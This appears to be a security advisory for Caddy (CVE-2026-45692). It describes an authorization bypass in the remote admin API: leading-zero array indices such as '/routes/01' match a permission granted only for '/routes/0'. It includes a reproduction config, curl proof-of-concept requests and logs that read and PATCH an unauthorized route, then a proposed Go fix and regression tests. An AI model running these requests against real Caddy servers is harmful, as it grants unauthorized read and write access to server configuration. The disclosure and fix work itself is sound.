This should be treated as an authorization bug rather than a documented prefix behavior.
## Security Impact
A remote admin identity restricted to one /config array element can:
- read a different array element
- modify a different array element
This breaks least-privilege remote admin policies.
In practice, a delegated certificate that should only be able to inspect or edit one route can instead inspect or edit another route in the same array.
## Affected Product
Tested on:
v2.11.2-3-gdf65455b
Affected area:
- remote admin
- admin.remote.access_control.permissions.paths
- /config API paths containing numeric array indices
The reporter reproduced this on current HEAD.
## Minimal Reproduction Configuration
{ "storage": { "module": "file_system", "root": "/tmp/caddy-config-index-storage" }, "admin": { "listen": "127.0.0.1:2029", "identity": { "identifiers": ["localhost"], "issuers": [ { "module": "internal" } ] }, "remote": { "listen": "127.0.0.1:2031", "access_control": [ { "public_keys": [""], "permissions": [ { "methods": ["GET", "PATCH"], "paths": ["/config/apps/http/servers/srv/routes/0"] } ] } ] } }, "apps": { "http": { "servers": { "srv": { "listen": [":9088"], "routes": [ { "handle": [ { "handler": "static_response", "body": "route zero" } ] }, { "handle": [ { "handler": "static_response", "body": "route one" } ] } ] } } } } }
## Commands
### 1. Generate client certificate
openssl req -x509 -newkey rsa:2048 -nodes -days 365 \ -subj '/CN=remote-admin-client' \ -keyout client.key \ -out client.crt
### 2. Convert to base64 DER
CLIENT_CERT_B64="$(openssl x509 -in client.crt -outform der | base64 | tr -d '\n')"
### 3. Start Caddy
go run ./cmd/caddy run --config ./repro.json
## Specific Minimal Reproduction Steps
### Step 1: Read the explicitly authorized object
curl -vk \ --resolve localhost:2031:127.0.0.1 \ --cert ./client.crt \ --key ./client.key \ https://localhost:2031/config/apps/http/servers/srv/routes/0
Observed result:
< HTTP/1.1 200 OK {"handle":[{"body":"route zero","handler":"static_response"}]}
### Step 2: Read a different object using a leading-zero index
curl -vk \ --resolve localhost:2031:127.0.0.1 \ --cert ./client.crt \ --key ./client.key \ https://localhost:2031/config/apps/http/servers/srv/routes/01
Observed result:
< HTTP/1.1 200 OK {"handle":[{"body":"route one","handler":"static_response"}]}
This shows that a client limited to routes/0 can read routes[1].
### Step 3: Confirm that the traversal layer is interpreting the component numerically
curl -vk \ --resolve localhost:2031:127.0.0.1 \ --cert ./client.crt \ --key ./client.key \ https://localhost:2031/config/apps/http/servers/srv/routes/02
Observed result:
< HTTP/1.1 400 Bad Request {"error":"[/config/apps/http/servers/srv/routes/02] array index out of bounds: 02"}
This is important because it shows Caddy is not treating 01 and 02 as ordinary child paths under 0. It is treating them as numeric indices.
### Step 4: Modify the unauthorized object
curl -vk \ -X PATCH \ --resolve localhost:2031:127.0.0.1 \ --cert ./client.crt \ --key ./client.key \ -H 'Content-Type: application/json' \ --data '{"handle":[{"handler":"static_response","body":"patched route one"}]}' \ https://localhost:2031/config/apps/http/servers/srv/routes/01
Observed result:
< HTTP/1.1 200 OK
### Step 5: Confirm the unauthorized modification
curl -vk \ --resolve localhost:2031:127.0.0.1 \ --cert ./client.crt \ --key ./client.key \ https://localhost:2031/config/apps/http/servers/srv/routes/01
Observed result:
< HTTP/1.1 200 OK {"handle":[{"body":"patched route one","handler":"static_response"}]}
That confirms the client was able to modify routes[1], even though only /routes/0 was authorized.
## Precise Requests and Captured Output
### Authorized read
GET /config/apps/http/servers/srv/routes/0 HTTP/1.1 Host: localhost:2031 User-Agent: curl/8.5.0 Accept: / < < HTTP/1.1 200 OK < Content-Type: application/json < Etag: "/config/apps/http/servers/srv/routes/0 94a6828ccc924cf3" < {"handle":[{"body":"route zero","handler":"static_response"}]}
### Unauthorized read
GET /config/apps/http/servers/srv/routes/01 HTTP/1.1 Host: localhost:2031 User-Agent: curl/8.5.0 Accept: / < < HTTP/1.1 200 OK < Content-Type: application/json < Etag: "/config/apps/http/servers/srv/routes/01 ed4a6c7e6ac8890d" < {"handle":[{"body":"route one","handler":"static_response"}]}
### Numeric index interpretation evidence
GET /config/apps/http/servers/srv/routes/02 HTTP/1.1 Host: localhost:2031 User-Agent: curl/8.5.0 Accept: / < < HTTP/1.1 400 Bad Request < {"error":"[/config/apps/http/servers/srv/routes/02] array index out of bounds: 02"}
### Unauthorized modification
PATCH /config/apps/http/servers/srv/routes/01 HTTP/1.1 Host: localhost:2031 User-Agent: curl/8.5.0 Accept: / Content-Type: application/json Content-Length: 69 < < HTTP/1.1 200 OK
### Confirmation of unauthorized modification
GET /config/apps/http/servers/srv/routes/01 HTTP/1.1 Host: localhost:2031 User-Agent: curl/8.5.0 Accept: / < < HTTP/1.1 200 OK < Content-Type: application/json < Etag: "/config/apps/http/servers/srv/routes/01 a757e3a3168ca4e0" < {"handle":[{"body":"patched route one","handler":"static_response"}]}
## Full Log Output
Relevant startup logs from the reproduction run:
root@dbdd95a60758:/caddy# go run ./cmd/caddy run --config /tmp/caddy-config-index-repro.json 2026/03/20 02:10:51.148 INFO maxprocs: Leaving GOMAXPROCS=16: CPU quota undefined 2026/03/20 02:10:51.148 INFO GOMEMLIMIT is updated {"GOMEMLIMIT": 26273105510, "previous": 9223372036854775807} 2026/03/20 02:10:51.148 INFO using config from file {"file": "/tmp/caddy-config-index-repro.json"} 2026/03/20 02:10:51.149 INFO admin admin endpoint started {"address": "127.0.0.1:2029", "enforce_origin": false, "origins": ["//localhost:2029", "//[::1]:2029", "//127.0.0.1:2029"]} 2026/03/20 02:10:51.149 WARN http HTTP/2 skipped because it requires TLS {"network": "tcp", "addr": ":9088"} 2026/03/20 02:10:51.149 WARN http HTTP/3 skipped because it requires TLS {"network": "tcp", "addr": ":9088"} 2026/03/20 02:10:51.149 INFO http.log server running {"name": "srv", "protocols": ["h1", "h2", "h3"]} 2026/03/20 02:10:51.149 INFO tls.cache.maintenance started background certificate maintenance {"cache": "0xc0003d7580"} 2026/03/20 02:10:51.149 INFO admin.identity.cache.maintenance started background certificate maintenance {"cache": "0xc00026fd00"} 2026/03/20 02:10:51.149 WARN admin.identity stapling OCSP {"identifiers": ["localhost"]} 2026/03/20 02:10:51.149 INFO admin.remote secure admin remote control endpoint started {"address": "127.0.0.1:2031"} 2026/03/20 02:10:51.149 INFO autosaved config (load with --resume flag) {"file": "/root/.config/caddy/autosave.json"} 2026/03/20 02:10:51.149 INFO serving initial configuration 2026/03/20 02:10:51.156 INFO tls storage cleaning happened too recently; skipping for now {"storage": "FileStorage:/tmp/caddy-config-index-storage", "instance": "55d383b9-7ae1-4713-89a2-b4106612cdcf", "try_again": "2026/03/21 02:10:51.156", "try_again_in": 86399.999999609} 2026/03/20 02:10:51.156 INFO tls finished cleaning storage units 2026/03/20 02:11:14.787 INFO admin.api received request {"method": "GET", "host": "localhost:2031", "uri": "/config/apps/http/servers/srv/routes/0", "remote_ip": "127.0.0.1", "remote_port": "59932", "headers": {"Accept":["/"],"User-Agent":["curl/8.5.0"]}, "secure": true, "verified_chains": 1} 2026/03/20 02:11:22.116 INFO admin.api received request {"method": "GET", "host": "localhost:2031", "uri": "/config/apps/http/servers/srv/routes/01", "remote_ip": "127.0.0.1", "remote_port": "40070", "headers": {"Accept":["/"],"User-Agent":["curl/8.5.0"]}, "secure": true, "verified_chains": 1} pkill -f '/tmp/caddy-config-index-repro.json' ^C2026/03/20 02:13:47.114 INFO shutting down {"signal": "SIGINT"} 2026/03/20 02:13:47.114 WARN exiting; byeee!! 👋 {"signal": "SIGINT"} 2026/03/20 02:13:47.114 INFO http servers shutting down with eternal grace period 2026/03/20 02:13:47.114 INFO admin stopped previous server {"address": "127.0.0.1:2031"} 2026/03/20 02:13:47.114 INFO admin stopped previous server {"address": "127.0.0.1:2029"} 2026/03/20 02:13:47.114 INFO shutdown complete {"signal": "SIGINT", "exit_code": 0} root@dbdd95a60758:/caddy# pkill -f '/tmp/caddy-config-index-repro.json' root@dbdd95a60758:/caddy# pkill -f '/tmp/caddy-config-index-repro.json' root@dbdd95a60758:/caddy# ps -ef | rg 'caddy-config-index-repro|cmd/caddy run --config /tmp/caddy-config-index-repro.json' bash: rg: command not found root@dbdd95a60758:/caddy# ss -ltnp | rg ':2029|:2031|:9088' bash: rg: command not found root@dbdd95a60758:/caddy# go run ./cmd/caddy run --config /tmp/caddy-config-index-repro.json 2026/03/20 02:14:52.698 INFO maxprocs: Leaving GOMAXPROCS=16: CPU quota undefined 2026/03/20 02:14:52.698 INFO GOMEMLIMIT is updated {"GOMEMLIMIT": 26273105510, "previous": 9223372036854775807} 2026/03/20 02:14:52.698 INFO using config from file {"file": "/tmp/caddy-config-index-repro.json"} 2026/03/20 02:14:52.698 INFO admin admin endpoint started {"address": "127.0.0.1:2029", "enforce_origin": false, "origins": ["//localhost:2029", "//[::1]:2029", "//127.0.0.1:2029"]} 2026/03/20 02:14:52.699 WARN http HTTP/2 skipped because it requires TLS {"network": "tcp", "addr": ":9088"} 2026/03/20 02:14:52.699 WARN http HTTP/3 skipped because it requires TLS {"network": "tcp", "addr": ":9088"} 2026/03/20 02:14:52.699 INFO http.log server running {"name": "srv", "protocols": ["h1", "h2", "h3"]} 2026/03/20 02:14:52.699 INFO tls.cache.maintenance started background certificate maintenance {"cache": "0xc00011d900"} 2026/03/20 02:14:52.699 INFO admin.identity.cache.maintenance started background certificate maintenance {"cache": "0xc000276800"} 2026/03/20 02:14:52.699 WARN admin.identity stapling OCSP {"identifiers": ["localhost"]} 2026/03/20 02:14:52.699 INFO admin.remote secure admin remote control endpoint started {"address": "127.0.0.1:2031"} 2026/03/20 02:14:52.699 INFO autosaved config (load with --resume flag) {"file": "/root/.config/caddy/autosave.json"} 2026/03/20 02:14:52.699 INFO serving initial configuration 2026/03/20 02:14:52.706 INFO tls storage cleaning happened too recently; skipping for now {"storage": "FileStorage:/tmp/caddy-config-index-storage", "instance": "55d383b9-7ae1-4713-89a2-b4106612cdcf", "try_again": "2026/03/21 02:14:52.706", "try_again_in": 86399.999999659} 2026/03/20 02:14:52.706 INFO tls finished cleaning storage units 2026/03/20 02:15:17.145 INFO admin.api received request {"method": "GET", "host": "localhost:2031", "uri": "/config/apps/http/servers/srv/routes/0", "remote_ip": "127.0.0.1", "remote_port": "35382", "headers": {"Accept":["/"],"User-Agent":["curl/8.5.0"]}, "secure": true, "verified_chains": 1} 2026/03/20 02:15:28.746 INFO admin.api received request {"method": "GET", "host": "localhost:2031", "uri": "/config/apps/http/servers/srv/routes/01", "remote_ip": "127.0.0.1", "remote_port": "38998", "headers": {"Accept":["/"],"User-Agent":["curl/8.5.0"]}, "secure": true, "verified_chains": 1} 2026/03/20 02:15:33.180 INFO admin.api received request {"method": "GET", "host": "localhost:2031", "uri": "/config/apps/http/servers/srv/routes/02", "remote_ip": "127.0.0.1", "remote_port": "46698", "headers": {"Accept":["/"],"User-Agent":["curl/8.5.0"]}, "secure": true, "verified_chains": 1} 2026/03/20 02:15:33.180 ERROR admin.api request error {"error": "[/config/apps/http/servers/srv/routes/02] array index out of bounds: 02", "status_code": 400} 2026/03/20 02:15:39.610 INFO admin.api received request {"method": "PATCH", "host": "localhost:2031", "uri": "/config/apps/http/servers/srv/routes/01", "remote_ip": "127.0.0.1", "remote_port": "46712", "headers": {"Accept":["/"],"Content-Length":["69"],"Content-Type":["application/json"],"User-Agent":["curl/8.5.0"]}, "secure": true, "verified_chains": 1} 2026/03/20 02:15:39.610 INFO admin admin endpoint started {"address": "127.0.0.1:2029", "enforce_origin": false, "origins": ["//localhost:2029", "//[::1]:2029", "//127.0.0.1:2029"]} 2026/03/20 02:15:39.610 WARN http HTTP/2 skipped because it requires TLS {"network": "tcp", "addr": ":9088"} 2026/03/20 02:15:39.610 WARN http HTTP/3 skipped because it requires TLS {"network": "tcp", "addr": ":9088"} 2026/03/20 02:15:39.610 INFO http.log server running {"name": "srv", "protocols": ["h1", "h2", "h3"]} 2026/03/20 02:15:39.610 INFO admin stopped previous server {"address": "127.0.0.1:2029"} 2026/03/20 02:15:39.610 INFO admin.identity.cache.maintenance stopped background certificate maintenance {"cache": "0xc000276800"} 2026/03/20 02:15:39.610 INFO admin.identity.cache.maintenance started background certificate maintenance {"cache": "0xc0005b6a00"} 2026/03/20 02:15:39.611 WARN admin.identity stapling OCSP {"identifiers": ["localhost"]} 2026/03/20 02:15:39.611 INFO admin.remote secure admin remote control endpoint started {"address": "127.0.0.1:2031"} 2026/03/20 02:15:39.611 INFO http servers shutting down with eternal grace period 2026/03/20 02:15:39.611 INFO autosaved config (load with --resume flag) {"file": "/root/.config/caddy/autosave.json"} 2026/03/20 02:15:39.612 INFO admin stopped previous server {"address": "127.0.0.1:2031"} 2026/03/20 02:15:49.018 INFO admin.api received request {"method": "GET", "host": "localhost:2031", "uri": "/config/apps/http/servers/srv/routes/01", "remote_ip": "127.0.0.1", "remote_port": "53712", "headers": {"Accept":["/"],"User-Agent":["curl/8.5.0"]}, "secure": true, "verified_chains": 1}
root@dbdd95a60758:/caddy# curl -vk \ --resolve localhost:2031:127.0.0.1 \ --cert /caddy/client.crt \ --key /caddy/client.key \ https://localhost:2031/config/apps/http/servers/srv/routes/0 * Added localhost:2031:127.0.0.1 to DNS cache * Hostname localhost was found in DNS cache * Trying 127.0.0.1:2031... * Connected to localhost (127.0.0.1) port 2031 * ALPN: curl offers h2,http/1.1 * TLSv1.3 (OUT), TLS handshake, Client hello (1): * TLSv1.3 (IN), TLS handshake, Server hello (2): * TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8): * TLSv1.3 (IN), TLS handshake, Request CERT (13): * TLSv1.3 (IN), TLS handshake, Certificate (11): * TLSv1.3 (IN), TLS handshake, CERT verify (15): * TLSv1.3 (IN), TLS handshake, Finished (20): * TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1): * TLSv1.3 (OUT), TLS handshake, Certificate (11): * TLSv1.3 (OUT), TLS handshake, CERT verify (15): * TLSv1.3 (OUT), TLS handshake, Finished (20): * SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519 / id-ecPublicKey * ALPN: server did not agree on a protocol. Uses default. * Server certificate: * subject: [NONE] * start date: Mar 19 21:59:41 2026 GMT * expire date: Mar 20 09:59:41 2026 GMT * issuer: CN=Caddy Local Authority - ECC Intermediate * SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway. * Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256 * Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256 * using HTTP/1.x
GET /config/apps/http/servers/srv/routes/0 HTTP/1.1 Host: localhost:2031 User-Agent: curl/8.5.0 Accept: /
- TLSv1.3 (IN), TLS handshake, Newsession Ticket (4): < HTTP/1.1 200 OK < Content-Type: application/json < Etag: "/config/apps/http/servers/srv/routes/0 94a6828ccc924cf3" < Date: Fri, 20 Mar 2026 02:15:17 GMT < Content-Length: 63 < {"handle":[{"body":"route zero","handler":"static_response"}]}
- Connection #0 to host localhost left intact root@dbdd95a60758:/caddy# curl -vk \ --resolve localhost:2031:127.0.0.1 \ --cert /caddy/client.crt \ --key /caddy/client.key \ https://localhost:2031/config/apps/http/servers/srv/routes/01
- Added localhost:2031:127.0.0.1 to DNS cache
- Hostname localhost was found in DNS cache
- Trying 127.0.0.1:2031...
- Connected to localhost (127.0.0.1) port 2031
- ALPN: curl offers h2,http/1.1
- TLSv1.3 (OUT), TLS handshake, Client hello (1):
- TLSv1.3 (IN), TLS handshake, Server hello (2):
- TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
- TLSv1.3 (IN), TLS handshake, Request CERT (13):
- TLSv1.3 (IN), TLS handshake, Certificate (11):
- TLSv1.3 (IN), TLS handshake, CERT verify (15):
- TLSv1.3 (IN), TLS handshake, Finished (20):
- TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
- TLSv1.3 (OUT), TLS handshake, Certificate (11):
- TLSv1.3 (OUT), TLS handshake, CERT verify (15):
- TLSv1.3 (OUT), TLS handshake, Finished (20):
- SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519 / id-ecPublicKey
- ALPN: server did not agree on a protocol. Uses default.
- Server certificate:
- subject: [NONE]
- start date: Mar 19 21:59:41 2026 GMT
- expire date: Mar 20 09:59:41 2026 GMT
- issuer: CN=Caddy Local Authority - ECC Intermediate
- SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.
- Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256
- Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256
using HTTP/1.x GET /config/apps/http/servers/srv/routes/01 HTTP/1.1 Host: localhost:2031 User-Agent: curl/8.5.0 Accept: /
TLSv1.3 (IN), TLS handshake, Newsession Ticket (4): < HTTP/1.1 200 OK < Content-Type: application/json < Etag: "/config/apps/http/servers/srv/routes/01 ed4a6c7e6ac8890d" < Date: Fri, 20 Mar 2026 02:15:28 GMT < Content-Length: 62 < {"handle":[{"body":"route one","handler":"static_response"}]}
- Connection #0 to host localhost left intact root@dbdd95a60758:/caddy# curl -vk \ --resolve localhost:2031:127.0.0.1 \ --cert /caddy/client.crt \ --key /caddy/client.key \ https://localhost:2031/config/apps/http/servers/srv/routes/02
- Added localhost:2031:127.0.0.1 to DNS cache
- Hostname localhost was found in DNS cache
- Trying 127.0.0.1:2031...
- Connected to localhost (127.0.0.1) port 2031
- ALPN: curl offers h2,http/1.1
- TLSv1.3 (OUT), TLS handshake, Client hello (1):
- TLSv1.3 (IN), TLS handshake, Server hello (2):
- TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
- TLSv1.3 (IN), TLS handshake, Request CERT (13):
- TLSv1.3 (IN), TLS handshake, Certificate (11):
- TLSv1.3 (IN), TLS handshake, CERT verify (15):
- TLSv1.3 (IN), TLS handshake, Finished (20):
- TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
- TLSv1.3 (OUT), TLS handshake, Certificate (11):
- TLSv1.3 (OUT), TLS handshake, CERT verify (15):
- TLSv1.3 (OUT), TLS handshake, Finished (20):
- SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519 / id-ecPublicKey
- ALPN: server did not agree on a protocol. Uses default.
- Server certificate:
- subject: [NONE]
- start date: Mar 19 21:59:41 2026 GMT
- expire date: Mar 20 09:59:41 2026 GMT
- issuer: CN=Caddy Local Authority - ECC Intermediate
- SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.
- Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256
- Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256
using HTTP/1.x GET /config/apps/http/servers/srv/routes/02 HTTP/1.1 Host: localhost:2031 User-Agent: curl/8.5.0 Accept: /
TLSv1.3 (IN), TLS handshake, Newsession Ticket (4): < HTTP/1.1 400 Bad Request < Content-Type: application/json < Date: Fri, 20 Mar 2026 02:15:33 GMT < Content-Length: 84 < {"error":"[/config/apps/http/servers/srv/routes/02] array index out of bounds: 02"}
- Connection #0 to host localhost left intact root@dbdd95a60758:/caddy# curl -vk \ -X PATCH \ --resolve localhost:2031:127.0.0.1 \ --cert /caddy/client.crt \ --key /caddy/client.key \ -H 'Content-Type: application/json' \ --data '{"handle":[{"handler":"static_response","body":"patched route one"}]}' \ https://localhost:2031/config/apps/http/servers/srv/routes/01
- Added localhost:2031:127.0.0.1 to DNS cache
- Hostname localhost was found in DNS cache
- Trying 127.0.0.1:2031...
- Connected to localhost (127.0.0.1) port 2031
- ALPN: curl offers h2,http/1.1
- TLSv1.3 (OUT), TLS handshake, Client hello (1):
- TLSv1.3 (IN), TLS handshake, Server hello (2):
- TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
- TLSv1.3 (IN), TLS handshake, Request CERT (13):
- TLSv1.3 (IN), TLS handshake, Certificate (11):
- TLSv1.3 (IN), TLS handshake, CERT verify (15):
- TLSv1.3 (IN), TLS handshake, Finished (20):
- TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
- TLSv1.3 (OUT), TLS handshake, Certificate (11):
- TLSv1.3 (OUT), TLS handshake, CERT verify (15):
- TLSv1.3 (OUT), TLS handshake, Finished (20):
- SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519 / id-ecPublicKey
- ALPN: server did not agree on a protocol. Uses default.
- Server certificate:
- subject: [NONE]
- start date: Mar 19 21:59:41 2026 GMT
- expire date: Mar 20 09:59:41 2026 GMT
- issuer: CN=Caddy Local Authority - ECC Intermediate
- SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.
- Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256
- Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256
using HTTP/1.x PATCH /config/apps/http/servers/srv/routes/01 HTTP/1.1 Host: localhost:2031 User-Agent: curl/8.5.0 Accept: / Content-Type: application/json Content-Length: 69
TLSv1.3 (IN), TLS handshake, Newsession Ticket (4): < HTTP/1.1 200 OK < Date: Fri, 20 Mar 2026 02:15:39 GMT < Content-Length: 0 < Connection: close <
- Closing connection
- TLSv1.3 (IN), TLS alert, close notify (256):
- TLSv1.3 (OUT), TLS alert, close notify (256): root@dbdd95a60758:/caddy# curl -vk \ --resolve localhost:2031:127.0.0.1 \ --cert /caddy/client.crt \ --key /caddy/client.key \ https://localhost:2031/config/apps/http/servers/srv/routes/01
- Added localhost:2031:127.0.0.1 to DNS cache
- Hostname localhost was found in DNS cache
- Trying 127.0.0.1:2031...
- Connected to localhost (127.0.0.1) port 2031
- ALPN: curl offers h2,http/1.1
- TLSv1.3 (OUT), TLS handshake, Client hello (1):
- TLSv1.3 (IN), TLS handshake, Server hello (2):
- TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
- TLSv1.3 (IN), TLS handshake, Request CERT (13):
- TLSv1.3 (IN), TLS handshake, Certificate (11):
- TLSv1.3 (IN), TLS handshake, CERT verify (15):
- TLSv1.3 (IN), TLS handshake, Finished (20):
- TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
- TLSv1.3 (OUT), TLS handshake, Certificate (11):
- TLSv1.3 (OUT), TLS handshake, CERT verify (15):
- TLSv1.3 (OUT), TLS handshake, Finished (20):
- SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519 / id-ecPublicKey
- ALPN: server did not agree on a protocol. Uses default.
- Server certificate:
- subject: [NONE]
- start date: Mar 19 21:59:41 2026 GMT
- expire date: Mar 20 09:59:41 2026 GMT
- issuer: CN=Caddy Local Authority - ECC Intermediate
- SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.
- Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256
- Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256
using HTTP/1.x GET /config/apps/http/servers/srv/routes/01 HTTP/1.1 Host: localhost:2031 User-Agent: curl/8.5.0 Accept: /
TLSv1.3 (IN), TLS handshake, Newsession Ticket (4): < HTTP/1.1 200 OK < Content-Type: application/json < Etag: "/config/apps/http/servers/srv/routes/01 a757e3a3168ca4e0" < Date: Fri, 20 Mar 2026 02:15:49 GMT < Content-Length: 70 < {"handle":[{"body":"patched route one","handler":"static_response"}]}
- Connection #0 to host localhost left intact root@dbdd95a60758:/caddy#
## Suggested Fix
The authorization layer should not allow a path that resolves to a different config object than the one represented by the authorized path.
A practical fix would be to reject non-canonical numeric array components in /config traversal and/or authorization.
For example:
- allow 0
- allow 1
- reject 01
- reject 002
One possible helper:
func parseCanonicalIndex(s string) (int, error) { if s == "" { return 0, fmt.Errorf("empty index") } if s != "0" && strings.HasPrefix(s, "0") { return 0, fmt.Errorf("non-canonical array index") } return strconv.Atoi(s) } ```
Then use that helper anywhere /config array indices are parsed.
## Why This Fix Makes Sense
This preserves intended config addressing while preventing ambiguous selectors from referring to different objects than the authorization layer appears to permit.
It would still allow:
- /routes/0
- /routes/1
but reject:
- /routes/01
- /routes/002
That removes the authorization/resource mismatch.
## Suggested Regression Tests
- Allow /config/apps/http/servers/srv/routes/0, request /.../routes/0, expect allowed.
- Allow /config/apps/http/servers/srv/routes/0, request /.../routes/01, expect denied or invalid.
- Allow /config/apps/http/servers/srv/routes/0, request /.../routes/02, expect denied or invalid.
- With PATCH allowed on /.../routes/0, verify that /.../routes/01 cannot modify routes[1].
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/caddyserver/caddy/v2"
},
"ranges": [
{
"events": [
{
"introduced": "2.4.0"
},
{
"fixed": "2.11.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45692"
],
"database_specific": {
"cwe_ids": [
"CWE-187",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-19T15:51:31Z",
"nvd_published_at": "2026-06-23T18:17:59Z",
"severity": "MODERATE"
},
"details": "This report is not about a normal textual prefix-expansion case.\n\n The issue here is that the authorization layer and the `/config` traversal layer do **not agree on what object the path refers to**.\n\n In this case, a path authorized for one config object is accepted, but then resolves to a **different config object** during traversal. \n\n ## AI Disclosure\n\n The reporter used an LLM to help review the code, reason about the behavior, and help draft this report.\n The reporter manually reproduced and validated the issue locally, confirmed the relevant source paths, and captured the requests and responses below.\n\n ## Summary\n\n A remote admin client certificate restricted to the following path:\n\n ```text\n /config/apps/http/servers/srv/routes/0\n```\n can still read and modify a different array element by requesting:\n\n /config/apps/http/servers/srv/routes/01\n\n This happens because:\n\n - the authorization layer uses string prefix matching\n - the /config traversal layer parses array indices numerically using strconv.Atoi()\n\n So:\n\n - authorization sees /.../01 as matching /.../0\n - traversal resolves 01 to numeric index 1\n - the request therefore targets routes[1], not routes[0]\n\n This is not just a prefix-match quirk. It is an authorization-to-object mismatch.\n\n ## Why This Is In Scope\n\n This is a security bug in Caddy\u0027s own code:\n\n - no browser behavior is involved\n - no dependency bug is involved\n - no external system compromise is involved\n - no third-party software compromise is required\n - no unsafe content hosting or file upload is required\n\n This is also not just \u201can unsafe configuration\u201d.\n\n The configuration explicitly attempts to limit access to one specific path:\n\n /config/apps/http/servers/srv/routes/0\n\n But Caddy enforces a policy that ends up granting access to a different object (routes[1]) because of how traversal interprets the final path component.\n\n In short:\n\n - configured authorization target: routes[0]\n - actual accessed object: routes[1]\n\n That difference is caused by Caddy itself.\n\n ## Relevant Source Code\n\n Authorization path matching:\n\n - admin.go:719\n\n Authorization config comment:\n\n - admin.go:213\n\n Config traversal with numeric parsing:\n\n - admin.go:1201\n - admin.go:1310\n\n ## Root Cause\n\n ### Authorization layer\n\n```\n for _, allowedPath := range accessPerm.Paths {\n \tif strings.HasPrefix(r.URL.Path, allowedPath) {\n \t\tpathFound = true\n \t\tbreak\n \t}\n }\n```\n\n ### Traversal layer\n\n idx, err = strconv.Atoi(idxStr)\n\n and later:\n\n partInt, err := strconv.Atoi(part)\n\n Because of that:\n\n - allowed path: /config/.../routes/0\n - requested path: /config/.../routes/01\n - authorization decision: allowed\n - actual object selected: routes[1]\n\n ## Why This Is Not Just a \u201cPrefix\u201d Case\n\n For a normal path hierarchy, a \u201csubpath\u201d means a child resource of the same authorized object.\n\n For example:\n\n - /config/apps/http\n - /config/apps/http/servers\n - /config/apps/http/servers/srv/routes/0/handle\n\n Those are genuine deeper descendants.\n\n But this case is different.\n\n Within the /config API, the final path component after /routes/ is not just a text fragment. It is a semantic selector for an array index.\n\n So:\n\n - /routes/0 means routes[0]\n - /routes/01 means routes[1]\n - /routes/02 means routes[2]\n\n That means /routes/01 is not a child of routes[0] in object semantics.\n It is a different array element entirely.\n\n So even if prefix matching is documented, this case is different because:\n\n - authorization uses the textual form\n - traversal uses the numeric form\n - the two refer to different objects\n\n This should be treated as an authorization bug rather than a documented prefix behavior.\n\n ## Security Impact\n\n A remote admin identity restricted to one /config array element can:\n\n - read a different array element\n - modify a different array element\n\n This breaks least-privilege remote admin policies.\n\n In practice, a delegated certificate that should only be able to inspect or edit one route can instead inspect or edit another route in the same array.\n\n ## Affected Product\n\n Tested on:\n\n v2.11.2-3-gdf65455b\n\n Affected area:\n\n - remote admin\n - admin.remote.access_control.permissions.paths\n - /config API paths containing numeric array indices\n\n The reporter reproduced this on current HEAD.\n\n\n ## Minimal Reproduction Configuration\n\n```\n {\n \"storage\": {\n \"module\": \"file_system\",\n \"root\": \"/tmp/caddy-config-index-storage\"\n },\n \"admin\": {\n \"listen\": \"127.0.0.1:2029\",\n \"identity\": {\n \"identifiers\": [\"localhost\"],\n \"issuers\": [\n { \"module\": \"internal\" }\n ]\n },\n \"remote\": {\n \"listen\": \"127.0.0.1:2031\",\n \"access_control\": [\n {\n \"public_keys\": [\"\u003cCLIENT_CERT_BASE64_DER\u003e\"],\n \"permissions\": [\n {\n \"methods\": [\"GET\", \"PATCH\"],\n \"paths\": [\"/config/apps/http/servers/srv/routes/0\"]\n }\n ]\n }\n ]\n }\n },\n \"apps\": {\n \"http\": {\n \"servers\": {\n \"srv\": {\n \"listen\": [\":9088\"],\n \"routes\": [\n {\n \"handle\": [\n {\n \"handler\": \"static_response\",\n \"body\": \"route zero\"\n }\n ]\n },\n {\n \"handle\": [\n {\n \"handler\": \"static_response\",\n \"body\": \"route one\"\n }\n ]\n }\n ]\n }\n }\n }\n }\n }\n```\n\n ## Commands\n\n ### 1. Generate client certificate\n\n```\n openssl req -x509 -newkey rsa:2048 -nodes -days 365 \\\n -subj \u0027/CN=remote-admin-client\u0027 \\\n -keyout client.key \\\n -out client.crt\n```\n\n ### 2. Convert to base64 DER\n\n```\n CLIENT_CERT_B64=\"$(openssl x509 -in client.crt -outform der | base64 | tr -d \u0027\\n\u0027)\"\n```\n ### 3. Start Caddy\n```\n go run ./cmd/caddy run --config ./repro.json\n```\n ## Specific Minimal Reproduction 